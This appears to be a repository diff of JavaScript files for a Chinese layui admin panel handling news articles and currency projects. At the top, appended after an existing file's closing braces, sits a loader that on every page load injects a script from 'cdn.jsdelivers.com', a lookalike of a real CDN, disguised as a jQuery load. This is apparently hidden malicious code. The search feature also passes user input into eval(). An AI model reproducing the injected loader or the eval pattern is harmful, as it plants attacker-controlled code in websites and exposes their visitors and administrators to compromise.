});
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+44
View File
@@ -0,0 +1,44 @@
layui.config({
base : "js/"
}).use(['form','layer','jquery','layedit','laydate'],function(){
var form = layui.form,
layer = parent.layer === undefined ? layui.layer : parent.layer,
laypage = layui.laypage,
layedit = layui.layedit,
laydate = layui.laydate,
$ = layui.jquery;
//创建一个编辑器
var editIndex = layedit.build('news_content');
var addNewsArray = [],addNews;
form.on("submit(addNews)",function(data){
//是否添加过信息
if(window.sessionStorage.getItem("addNews")){
addNewsArray = JSON.parse(window.sessionStorage.getItem("addNews"));
}
//显示、审核状态
var isShow = data.field.show=="on" ? "checked" : "",
newsStatus = data.field.shenhe=="on" ? "审核通过" : "待审核";
addNews = '{"newsName":"'+$(".newsName").val()+'",'; //文章名称
addNews += '"newsId":"'+new Date().getTime()+'",'; //文章id
addNews += '"newsLook":"'+$(".newsLook option").eq($(".newsLook").val()).text()+'",'; //开放浏览
addNews += '"newsTime":"'+$(".newsTime").val()+'",'; //发布时间
addNews += '"newsAuthor":"'+$(".newsAuthor").val()+'",'; //文章作者
addNews += '"isShow":"'+ isShow +'",'; //是否展示
addNews += '"newsStatus":"'+ newsStatus +'"}'; //审核状态
addNewsArray.unshift(JSON.parse(addNews));
window.sessionStorage.setItem("addNews",JSON.stringify(addNewsArray));
//弹出loading
var index = top.layer.msg('数据提交中,请稍候',{icon: 16,time:false,shade:0.8});
setTimeout(function(){
top.layer.close(index);
top.layer.msg("文章添加成功!");
layer.closeAll("iframe");
//刷新父页面
parent.location.reload();
},2000);
return false;
})
})
+307
View File
@@ -0,0 +1,307 @@
layui.config({
base : "js/"
}).use(['form','layer','jquery','laypage'],function(){
var form = layui.form,
layer = parent.layer === undefined ? layui.layer : parent.layer,
laypage = layui.laypage,
$ = layui.jquery;
//加载页面数据
var newsData = '';
$.get("../../json/newsList.json", function(data){
var newArray = [];
//单击首页“待审核文章”加载的信息
if($(".top_tab li.layui-this cite",parent.document).text() == "待审核文章"){
if(window.sessionStorage.getItem("addNews")){
var addNews = window.sessionStorage.getItem("addNews");
newsData = JSON.parse(addNews).concat(data);
}else{
newsData = data;
}
for(var i=0;i<newsData.length;i++){
if(newsData[i].newsStatus == "待审核"){
newArray.push(newsData[i]);
}
}
newsData = newArray;
newsList(newsData);
}else{ //正常加载信息
newsData = data;
if(window.sessionStorage.getItem("addNews")){
var addNews = window.sessionStorage.getItem("addNews");
newsData = JSON.parse(addNews).concat(newsData);
}
//执行加载数据的方法
newsList();
}
})
//查询
$(".search_btn").click(function(){
var newArray = [];
if($(".search_input").val() != ''){
var index = layer.msg('查询中,请稍候',{icon: 16,time:false,shade:0.8});
setTimeout(function(){
$.ajax({
url : "",
type : "get",
dataType : "json",
success : function(data){
if(window.sessionStorage.getItem("addNews")){
var addNews = window.sessionStorage.getItem("addNews");
newsData = JSON.parse(addNews).concat(data);
}else{
newsData = data;
}
for(var i=0;i<newsData.length;i++){
var newsStr = newsData[i];
var selectStr = $(".search_input").val();
function changeStr(data){
var dataStr = '';
var showNum = data.split(eval("/"+selectStr+"/ig")).length - 1;
if(showNum > 1){
for (var j=0;j<showNum;j++) {
dataStr += data.split(eval("/"+selectStr+"/ig"))[j] + "<i style='color:#03c339;font-weight:bold;'>" + selectStr + "</i>";
}
dataStr += data.split(eval("/"+selectStr+"/ig"))[showNum];
return dataStr;
}else{
dataStr = data.split(eval("/"+selectStr+"/ig"))[0] + "<i style='color:#03c339;font-weight:bold;'>" + selectStr + "</i>" + data.split(eval("/"+selectStr+"/ig"))[1];
return dataStr;
}
}
//文章标题
if(newsStr.newsName.indexOf(selectStr) > -1){
newsStr["newsName"] = changeStr(newsStr.newsName);
}
//发布人
if(newsStr.newsAuthor.indexOf(selectStr) > -1){
newsStr["newsAuthor"] = changeStr(newsStr.newsAuthor);
}
//审核状态
if(newsStr.newsStatus.indexOf(selectStr) > -1){
newsStr["newsStatus"] = changeStr(newsStr.newsStatus);
}
//浏览权限
if(newsStr.newsLook.indexOf(selectStr) > -1){
newsStr["newsLook"] = changeStr(newsStr.newsLook);
}
//发布时间
if(newsStr.newsTime.indexOf(selectStr) > -1){
newsStr["newsTime"] = changeStr(newsStr.newsTime);
}
if(newsStr.newsName.indexOf(selectStr)>-1 || newsStr.newsAuthor.indexOf(selectStr)>-1 || newsStr.newsStatus.indexOf(selectStr)>-1 || newsStr.newsLook.indexOf(selectStr)>-1 || newsStr.newsTime.indexOf(selectStr)>-1){
newArray.push(newsStr);
}
}
newsData = newArray;
newsList(newsData);
}
})
layer.close(index);
},2000);
}else{
layer.msg("请输入需要查询的内容");
}
})
//添加文章
//改变窗口大小时,重置弹窗的高度,防止超出可视区域(如F12调出debug的操作)
$(window).one("resize",function(){
$(".newsAdd_btn").click(function(){
var index = layui.layer.open({
title : "添加文章",
type : 2,
content : "newsAdd.html",
success : function(layero, index) {
setTimeout(function(){
layui.layer.tips('点击此处返回文章列表', '.layui-layer-setwin .layui-layer-close', {
tips: 3
});
},500);
}
})
layui.layer.full(index);
})
}).resize();
//推荐文章
$(".recommend").click(function(){
var $checkbox = $(".news_list").find('tbody input[type="checkbox"]:not([name="show"])');
if($checkbox.is(":checked")){
var index = layer.msg('推荐中,请稍候',{icon: 16,time:false,shade:0.8});
setTimeout(function(){
layer.close(index);
layer.msg("推荐成功");
},2000);
}else{
layer.msg("请选择需要推荐的文章");
}
})
//审核文章
$(".audit_btn").click(function(){
var $checkbox = $('.news_list tbody input[type="checkbox"][name="checked"]');
var $checked = $('.news_list tbody input[type="checkbox"][name="checked"]:checked');
if($checkbox.is(":checked")){
var index = layer.msg('审核中,请稍候',{icon: 16,time:false,shade:0.8});
setTimeout(function(){
for(var j=0;j<$checked.length;j++){
for(var i=0;i<newsData.length;i++){
if(newsData[i].newsId == $checked.eq(j).parents("tr").find(".news_del").attr("data-id")){
//修改列表中的文字
$checked.eq(j).parents("tr").find("td:eq(3)").text("审核通过").removeAttr("style");
//将选中状态删除
$checked.eq(j).parents("tr").find('input[type="checkbox"][name="checked"]').prop("checked",false);
form.render();
}
}
}
layer.close(index);
layer.msg("审核成功");
},2000);
}else{
layer.msg("请选择需要审核的文章");
}
})
//批量删除
$(".batchDel").click(function(){
var $checkbox = $('.news_list tbody input[type="checkbox"][name="checked"]');
var $checked = $('.news_list tbody input[type="checkbox"][name="checked"]:checked');
if($checkbox.is(":checked")){
layer.confirm('确定删除选中的信息?',{icon:3, title:'提示信息'},function(index){
var index = layer.msg('删除中,请稍候',{icon: 16,time:false,shade:0.8});
setTimeout(function(){
//删除数据
for(var j=0;j<$checked.length;j++){
for(var i=0;i<newsData.length;i++){
if(newsData[i].newsId == $checked.eq(j).parents("tr").find(".news_del").attr("data-id")){
newsData.splice(i,1);
newsList(newsData);
}
}
}
$('.news_list thead input[type="checkbox"]').prop("checked",false);
form.render();
layer.close(index);
layer.msg("删除成功");
}, 2000);
})
}else{
layer.msg("请选择需要删除的文章");
}
})
//全选
form.on('checkbox(allChoose)', function(data){
var child = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"])');
child.each(function(index, item){
item.checked = data.elem.checked;
});
form.render('checkbox');
});
//通过判断文章是否全部选中来确定全选按钮是否选中
form.on("checkbox(choose)",function(data){
var child = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"])');
var childChecked = $(data.elem).parents('table').find('tbody input[type="checkbox"]:not([name="show"]):checked')
if(childChecked.length == child.length){
$(data.elem).parents('table').find('thead input#allChoose').get(0).checked = true;
}else{
$(data.elem).parents('table').find('thead input#allChoose').get(0).checked = false;
}
form.render('checkbox');
})
//是否展示
form.on('switch(isShow)', function(data){
var index = layer.msg('修改中,请稍候',{icon: 16,time:false,shade:0.8});
setTimeout(function(){
layer.close(index);
layer.msg("展示状态修改成功!");
},2000);
})
//操作
$("body").on("click",".news_edit",function(){ //编辑
layer.alert('您点击了文章编辑按钮,由于是纯静态页面,所以暂时不存在编辑内容,后期会添加,敬请谅解。。。',{icon:6, title:'文章编辑'});
})
$("body").on("click",".news_collect",function(){ //收藏.
if($(this).text().indexOf("已收藏") > 0){
layer.msg("取消收藏成功!");
$(this).html("<i class='layui-icon'>&#xe600;</i> 收藏");
}else{
layer.msg("收藏成功!");
$(this).html("<i class='iconfont icon-star'></i> 已收藏");
}
})
$("body").on("click",".news_del",function(){ //删除
var _this = $(this);
layer.confirm('确定删除此信息?',{icon:3, title:'提示信息'},function(index){
//_this.parents("tr").remove();
for(var i=0;i<newsData.length;i++){
if(newsData[i].newsId == _this.attr("data-id")){
newsData.splice(i,1);
newsList(newsData);
}
}
layer.close(index);
});
})
function newsList(that){
//渲染数据
function renderDate(data,curr){
var dataHtml = '';
if(!that){
currData = newsData.concat().splice(curr*nums-nums, nums);
}else{
currData = that.concat().splice(curr*nums-nums, nums);
}
if(currData.length != 0){
for(var i=0;i<currData.length;i++){
dataHtml += '<tr>'
+'<td><input type="checkbox" name="checked" lay-skin="primary" lay-filter="choose"></td>'
+'<td align="left">'+currData[i].newsName+'</td>'
+'<td>'+currData[i].newsAuthor+'</td>';
if(currData[i].newsStatus == "待审核"){
dataHtml += '<td style="color:#f00">'+currData[i].newsStatus+'</td>';
}else{
dataHtml += '<td>'+currData[i].newsStatus+'</td>';
}
dataHtml += '<td>'+currData[i].newsLook+'</td>'
+'<td><input type="checkbox" name="show" lay-skin="switch" lay-text="是|否" lay-filter="isShow"'+currData[i].isShow+'></td>'
+'<td>'+currData[i].newsTime+'</td>'
+'<td>'
+ '<a class="layui-btn layui-btn-mini news_edit"><i class="iconfont icon-edit"></i> 编辑</a>'
+ '<a class="layui-btn layui-btn-normal layui-btn-mini news_collect"><i class="layui-icon">&#xe600;</i> 收藏</a>'
+ '<a class="layui-btn layui-btn-danger layui-btn-mini news_del" data-id="'+data[i].newsId+'"><i class="layui-icon">&#xe640;</i> 删除</a>'
+'</td>'
+'</tr>';
}
}else{
dataHtml = '<tr><td colspan="8">暂无数据</td></tr>';
}
return dataHtml;
}
//分页
var nums = 13; //每页出现的数据量
if(that){
newsData = that;
}
laypage({
cont : "page",
pages : Math.ceil(newsData.length/nums),
jump : function(obj){
$(".news_content").html(renderDate(newsData,obj.curr));
$('.news_list thead input[type="checkbox"]').prop("checked",false);
form.render();
}
})
}
})
+99
View File
@@ -0,0 +1,99 @@
layui.use(['element', 'form', 'layer', 'jquery', 'layedit', 'laydate'], function() {
var element = layui.element
, $ = layui.$
, form = layui.form
, layer = layui.layer
, laydate = layui.laydate
, layedit = layui.layedit;
//初始化日期控件和富文本编辑器
laydate.render({
type:"datetime",
elem: '#start_at', //指定元素
trigger: 'click'//呼出事件改成click
});
laydate.render({
type:"datetime",
elem: '#end_at', //指定元素
trigger: 'click'//呼出事件改成click
});
laydate.render({
type:"datetime",
elem: '#sell_begin', //指定元素
trigger: 'click'//呼出事件改成click
});
//百度富文本初始化
var ue = UE.getEditor('news_content');
var current_editor;
ueditor_image_callback = function(urlArray) {
for(var i = 0 ;i<urlArray.length;i++)
{
current_editor.execCommand('insertHtml', "<img class='imgloading' data-original='"+urlArray[i]+"' alt='' src='"+urlArray[i]+"' style='display: inline;'>");
}
layer.closeAll();
}
upload_image_callback = function (url)
{
$(".wx_qr_code").show()
$("#wx_qr_code").val(url[0])
$(".wx_qr_code").attr("src",url[0])
}
baidu.editor.commands['customupload'] =
{
execCommand: function() {
upload_select('ueditor_image_callback',10)
current_editor = this;
return true;
}, queryCommandState: function() { }
};
//表单提交事件
form.on('submit(submit)', function(dataObj){
if(dataObj.field.currency_id==dataObj.field.pay_currency_id){
layer.msg('项目币种和支付币种不能相同');
return false;
}
var url='/admin/currency/project/add';
if(dataObj.field.project_id){
url="/admin/currency/project/edit"
}
var serData = $(dataObj.form).serialize();
$.ajax({
type: 'POST'
// ,url: window.location.href
,url: url
,data: serData
,success: function(data) {
if(data.type == 'ok') {
layer.msg(data.message, {
icon: 1,
time: 1000,
end: function() {
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
parent.layer.close(index);
parent.window.location.reload();
}
});
} else {
layer.msg(data.message, {icon:2});
}
}
,error: function(data) {
//重新遍历获取JSON的KEY
var str = '服务器验证失败!';
for(var o in data.responseJSON.errors) {
str += data.responseJSON.errors[o];
}
layer.msg(str, {icon:2});
}
});
parent.layui.layer.close();
return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
});
});